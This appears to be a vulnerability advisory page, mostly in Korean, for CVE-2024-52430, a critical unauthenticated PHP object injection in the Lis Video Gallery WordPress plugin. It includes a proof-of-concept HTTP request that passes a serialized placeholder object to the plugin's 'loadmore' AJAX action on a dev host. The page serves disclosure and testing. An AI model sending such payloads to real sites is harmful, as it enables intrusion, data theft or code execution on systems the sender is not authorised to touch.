randomrobbiebf/cve-2024-52430Lis Video Gallery <= 0.2.1 - 인증되지 않은 PHP 객체 인젝션
Lis Video Gallery <= 0.2.1 - 인증되지 않은 PHP 객체 주입
Lis Video Gallery WordPress 플러그인은 버전 0.2.1까지(포함) 신뢰할 수 없는 입력의 역직렬화를 통해 PHP 객체 주입 취약점에 노출됩니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 취약한 소프트웨어에는 알려진 POP 체인이 존재하지 않습니다. 대상 시스템에 추가 플러그인이나 테마를 통해 POP 체인이 존재하는 경우, 공격자는 임의의 파일을 삭제하거나 민감한 데이터를 검색하거나 코드를 실행할 수 있습니다.
CVE: CVE-2024-52430
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: lis-video-gallery
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
action=loadmore&query=O%3a20%3a%22PHP_Object_Injection%22%3a0%3a%7b%7d&page=1
PHP 객체 주입이 발생했습니다.